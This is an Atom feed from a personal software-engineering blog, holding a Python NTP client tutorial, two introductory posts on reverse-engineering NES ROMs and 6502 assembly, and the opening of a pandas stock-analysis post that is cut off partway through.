<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.3">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2023-12-30T03:23:52+00:00</updated><id>/feed.xml</id><title type="html">Steve Birstok</title><subtitle>My name is Steve Birstok. I am a Software Engineer.</subtitle><entry><title type="html">Python NTP Client</title><link href="/coding/python/ntp/client/server/2023/12/29/ntp-client.html" rel="alternate" type="text/html" title="Python NTP Client" /><published>2023-12-29T00:00:00+00:00</published><updated>2023-12-29T00:00:00+00:00</updated><id>/coding/python/ntp/client/server/2023/12/29/ntp-client</id><content type="html" xml:base="/coding/python/ntp/client/server/2023/12/29/ntp-client.html">&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;query_ntp_server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_DGRAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;47&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# NTP request packet
&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvfrom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;unpacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'!12I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;seconds_since_1900&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2208988800&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ntp_time&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seconds_since_1900&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ntp_time&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ntp_server_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ntp_time&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;query_ntp_server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ntp_server_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Error&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ntp_time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Unable to query NTP server: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ntp_time&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;NTP time from &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ntp_server_address&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ntp_time&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In today’s post, we’re diving into the creation of a simple yet effective Network Time Protocol (NTP) client using Python. The NTP protocol is pivotal in the synchronization of clocks over computer networks. While most modern operating systems handle this automatically, understanding the underlying process can be beneficial, especially for those interested in network programming or time-sensitive applications.&lt;/p&gt;

&lt;p&gt;The script provided above is a basic implementation of an NTP client. It communicates with an NTP server to retrieve the current time. Here’s a breakdown of how the script works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Socket Creation&lt;/strong&gt;: We start by creating a socket, which is essential for network communication. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;/code&gt; line initializes a UDP socket.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;NTP Request Packet&lt;/strong&gt;: An NTP request packet is formed. The first byte (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x1b&lt;/code&gt; or 27 in decimal) indicates that this is a client request.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Sending and Receiving Data&lt;/strong&gt;: The packet is sent to the specified NTP server. We then wait for the response, which will include the time information.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Unpacking the Response&lt;/strong&gt;: The received data is unpacked to extract the relevant timestamp. The NTP protocol returns the time in seconds since 1 January 1900, so we adjust this to Unix time (seconds since 1 January 1970).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Handling Errors&lt;/strong&gt;: The script is designed to handle any exceptions, such as network issues, by returning an error message.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Usage&lt;/strong&gt;: To use this script, run it from the command line with the address of the NTP server as an argument, like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python scriptname.py pool.ntp.org&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This simple script is a great starting point for those looking to understand network communication in Python and the basics of the NTP protocol. It can be expanded or integrated into larger applications where accurate time data is crucial.&lt;/p&gt;

&lt;p&gt;Remember, while this script is useful for educational purposes, it’s important to use it responsibly. Continuously querying NTP servers, especially public ones, can be seen as abusive behavior. Always adhere to the usage policies of the NTP servers you interact with.&lt;/p&gt;

&lt;p&gt;In future posts, we might delve into more advanced topics, like setting up your own NTP server or handling time zones and daylight saving time. Stay tuned!&lt;/p&gt;</content><author><name></name></author><category term="Coding" /><category term="Python" /><category term="NTP" /><category term="Client" /><category term="Server" /><summary type="html">```python import socket import struct import time import sys</summary></entry><entry><title type="html">Part 2: Reading NES Architecture Disassembly: A Guide to Understanding Classic Game Code</title><link href="/reverse%20engineering/nintendo/roms/nes/2023/03/19/reversing-roms-part2.html" rel="alternate" type="text/html" title="Part 2: Reading NES Architecture Disassembly: A Guide to Understanding Classic Game Code" /><published>2023-03-19T00:00:00+00:00</published><updated>2023-03-19T00:00:00+00:00</updated><id>/reverse%20engineering/nintendo/roms/nes/2023/03/19/reversing-roms-part2</id><content type="html" xml:base="/reverse%20engineering/nintendo/roms/nes/2023/03/19/reversing-roms-part2.html">&lt;p&gt;&lt;img src=&quot;/assets/images/nintendo_characters.jpg&quot; alt=&quot;NES Controller&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In the previous blog post, we explored the world of reversing Nintendo ROMs and the tools needed for the process. Today, we’ll dive deeper into NES architecture disassembly and learn how to read and understand classic game code.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Reading NES disassembly is a crucial skill when reverse engineering classic games. In this blog post, we’ll learn the basics of the NES architecture and its assembly language, as well as how to read disassembled code.&lt;/p&gt;

&lt;h2 id=&quot;nes-architecture-overview&quot;&gt;NES Architecture Overview&lt;/h2&gt;

&lt;p&gt;The NES (Nintendo Entertainment System) is an 8-bit game console that uses a 6502 processor. It has a 16-bit address space, allowing it to access up to 64KB of memory. The memory is divided into several sections, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2KB of internal RAM (0x0000-0x07FF)&lt;/li&gt;
  &lt;li&gt;8KB of Video RAM (VRAM) (0x2000-0x3FFF)&lt;/li&gt;
  &lt;li&gt;32KB of ROM (0x8000-0xFFFF)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition to the CPU, the NES also has a specialized graphics processing unit (GPU) called the Picture Processing Unit (PPU).&lt;/p&gt;

&lt;h2 id=&quot;6502-assembly-language&quot;&gt;6502 Assembly Language&lt;/h2&gt;

&lt;p&gt;The 6502 processor uses its own assembly language, which consists of a set of mnemonics that represent machine code instructions. These mnemonics are human-readable representations of the operations the processor can perform. Here are a few examples:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;LDA (Load Accumulator): Loads a value into the accumulator (A) register.&lt;/li&gt;
  &lt;li&gt;STA (Store Accumulator): Stores the value in the accumulator (A) register to a memory address.&lt;/li&gt;
  &lt;li&gt;JMP (Jump): Sets the program counter (PC) to a specified address, effectively jumping to that location in the code.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;reading-nes-disassembly&quot;&gt;Reading NES Disassembly&lt;/h2&gt;

&lt;p&gt;To read NES disassembly, you’ll need to familiarize yourself with the 6502 assembly language and understand how the processor interacts with memory. Here’s an example of a simple disassembled NES code:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;LDA #$01    ; Load the value 0x01 into the accumulator (A) register
STA $0200   ; Store the value in the accumulator (A) register to memory address 0x0200
JMP $8000   ; Jump to memory address 0x8000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In this example, we load the value 0x01 into the accumulator, store it in memory address 0x0200, and then jump to memory address 0x8000.&lt;/p&gt;

&lt;p&gt;When analyzing disassembled code, it’s essential to understand the purpose of each instruction and how it interacts with the overall program. Keep in mind that game code can be complex, and you may need to spend time researching and experimenting to fully grasp its functionality.&lt;/p&gt;

&lt;h2 id=&quot;tips-for-analyzing-disassembly&quot;&gt;Tips for Analyzing Disassembly&lt;/h2&gt;

&lt;p&gt;Here are a few tips to help you analyze NES disassembly:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Take Notes&lt;/strong&gt;: As you work through the disassembled code, take detailed notes on each instruction and its purpose. This will help you build a mental map of the game’s logic.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Follow the Flow&lt;/strong&gt;: Pay attention to control flow instructions, such as JMP, JSR (Jump to Subroutine), and branch instructions. These will help you understand the structure of the code and how it’s organized.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Look for Patterns&lt;/strong&gt;: Many games follow similar coding patterns, such as using loops for animation or updating the game state. Identifying these patterns can help you understand the underlying logic and make it easier to identify specific functions or routines within the code.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Experiment&lt;/strong&gt;: Don’t be afraid to modify the disassembled code and observe the effects on the game. This hands-on approach can provide valuable insights and help you learn more about the game’s inner workings.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Reading NES architecture disassembly is a fascinating and essential skill for anyone interested in reverse engineering classic Nintendo games. By understanding the NES architecture, familiarizing yourself with the 6502 assembly language, and following the tips outlined in this post, you’ll be well-equipped to explore the secrets hidden within your favorite games. As you delve deeper into this world, you’ll gain a greater appreciation for the ingenuity and creativity that went into creating these timeless classics.&lt;/p&gt;

&lt;p&gt;Happy hacking!&lt;/p&gt;</content><author><name></name></author><category term="Reverse Engineering" /><category term="Nintendo" /><category term="ROMs" /><category term="NES" /><summary type="html"></summary></entry><entry><title type="html">Part 1: Reversing Nintendo ROMs: A Journey into Retro Game Hacking</title><link href="/reverse%20engineering/nintendo/roms/2023/03/17/reversing-roms-part1.html" rel="alternate" type="text/html" title="Part 1: Reversing Nintendo ROMs: A Journey into Retro Game Hacking" /><published>2023-03-17T00:00:00+00:00</published><updated>2023-03-17T00:00:00+00:00</updated><id>/reverse%20engineering/nintendo/roms/2023/03/17/reversing-roms-part1</id><content type="html" xml:base="/reverse%20engineering/nintendo/roms/2023/03/17/reversing-roms-part1.html">&lt;p&gt;&lt;img src=&quot;/assets/images/retro_gaming.jpg&quot; alt=&quot;Retro Gaming&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Reversing Nintendo ROMs is a fascinating world of retro game hacking. In this blog post, we’ll dive into the process and tools used to understand and modify classic games.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Nintendo has a rich history of iconic games that have captivated players for decades. But, have you ever wondered what makes these games tick? Reversing Nintendo ROMs is the key to unlocking their secrets. In this post, we’ll explore the world of retro game hacking by examining the process of reverse engineering Nintendo ROMs.&lt;/p&gt;

&lt;h2 id=&quot;what-are-roms&quot;&gt;What are ROMs?&lt;/h2&gt;

&lt;p&gt;ROM stands for Read-Only Memory. In the context of gaming, a ROM is a file containing the data from a game cartridge. This data can be used by emulators to run the game on modern hardware. ROMs are the foundation for our reverse engineering journey.&lt;/p&gt;

&lt;h2 id=&quot;tools-of-the-trade&quot;&gt;Tools of the Trade&lt;/h2&gt;

&lt;p&gt;To get started with reversing Nintendo ROMs, you’ll need a few tools:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Emulator&lt;/strong&gt;: A software that allows you to run the ROM on your computer. For Nintendo consoles, popular emulators include &lt;a href=&quot;http://fceux.com/&quot;&gt;FCEUX&lt;/a&gt; for the NES and &lt;a href=&quot;https://www.zsnes.com/&quot;&gt;ZSNES&lt;/a&gt; for the SNES.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hex Editor&lt;/strong&gt;: A tool that allows you to view and edit the binary data of a ROM. &lt;a href=&quot;https://mh-nexus.de/en/hxd/&quot;&gt;HxD&lt;/a&gt; is a popular hex editor for Windows.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Debugger&lt;/strong&gt;: A tool that allows you to step through the game’s code and analyze its execution. Many emulators include built-in debuggers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Disassembler&lt;/strong&gt;: A tool that translates the game’s machine code into human-readable assembly language. &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot;&gt;IDA Pro&lt;/a&gt; is a powerful disassembler that supports many processor architectures, including those used in Nintendo consoles.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;understanding-the-games-architecture&quot;&gt;Understanding the Game’s Architecture&lt;/h2&gt;

&lt;p&gt;Before diving into the ROM itself, it’s crucial to understand the architecture of the game console. Each console has its own unique processor and memory layout. For example, the NES uses a 6502 processor, while the SNES uses a 65C816. Understanding the underlying hardware will help you make sense of the game’s code.&lt;/p&gt;

&lt;h2 id=&quot;disassembling-the-rom&quot;&gt;Disassembling the ROM&lt;/h2&gt;

&lt;p&gt;Once you have a firm grasp on the console’s architecture, you can begin disassembling the ROM. This process involves loading the ROM into a disassembler and translating the machine code into assembly language. This will give you a clearer picture of how the game’s code functions.&lt;/p&gt;

&lt;h2 id=&quot;debugging-and-modifying-the-rom&quot;&gt;Debugging and Modifying the ROM&lt;/h2&gt;

&lt;p&gt;With the disassembled code in hand, you can start exploring the game’s inner workings. Using an emulator with a built-in debugger, you can set breakpoints, step through the code, and analyze the game’s logic. This is where the real fun begins, as you can modify the game’s behavior and create your own custom hacks!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Reversing Nintendo ROMs is an exciting journey into the world of retro game hacking. With the right tools and a solid understanding of the game’s architecture, you can unlock the secrets hidden within these classic games. Whether you’re looking to create custom modifications or simply learn more about your favorite titles, the world of ROM hacking awaits.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;Enjoyed this post? Stay tuned for part 2!&lt;/em&gt;&lt;/p&gt;</content><author><name></name></author><category term="Reverse Engineering" /><category term="Nintendo" /><category term="ROMs" /><summary type="html"></summary></entry><entry><title type="html">Part 1: Analyzing the Stock Market with Python</title><link href="/python/finance/stock%20market/2023/02/15/python-stocks-part1.html" rel="alternate" type="text/html" title="Part 1: Analyzing the Stock Market with Python" /><published>2023-02-15T00:00:00+00:00</published><updated>2023-02-15T00:00:00+00:00</updated><id>/python/finance/stock%20market/2023/02/15/python-stocks-part1</id><content type="html" xml:base="/python/finance/stock%20market/2023/02/15/python-stocks-part1.html">&lt;p&gt;In this blog post, we’ll explore how to use Python to analyze the stock market. We’ll cover retrieving stock data, calculating simple moving averages, and visualizing the results.&lt;/p&gt;

&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Python 3.6 or higher&lt;/li&gt;
  &lt;li&gt;Pandas (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install pandas&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Pandas-datareader (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install pandas-datareader&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Matplotlib (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install matplotlib&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;retrieving-stock-data&quot;&gt;Retrieving Stock Data&lt;/h2&gt;

&lt;p&gt;We’ll use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pandas-datareader&lt;/code&gt; library to fetch historical stock data from Yahoo Finance. Let’s fetch the last two years of daily data for Microsoft (MSFT):&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pandas_datareader&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdr&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;datetime&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dt&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ticker&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;MSFT&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;start_date&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datetime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timedelta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;days&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;365&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;end_date&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;today&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_data_yahoo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ticker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start_date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;end_date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;calculating-simple-moving-averages&quot;&gt;Calculating Simple Moving Averages&lt;/h2&gt;

&lt;p&gt;Next, we’ll calculate the 50-day and 200-day simple moving averages (SMA):&lt;/p&gt;

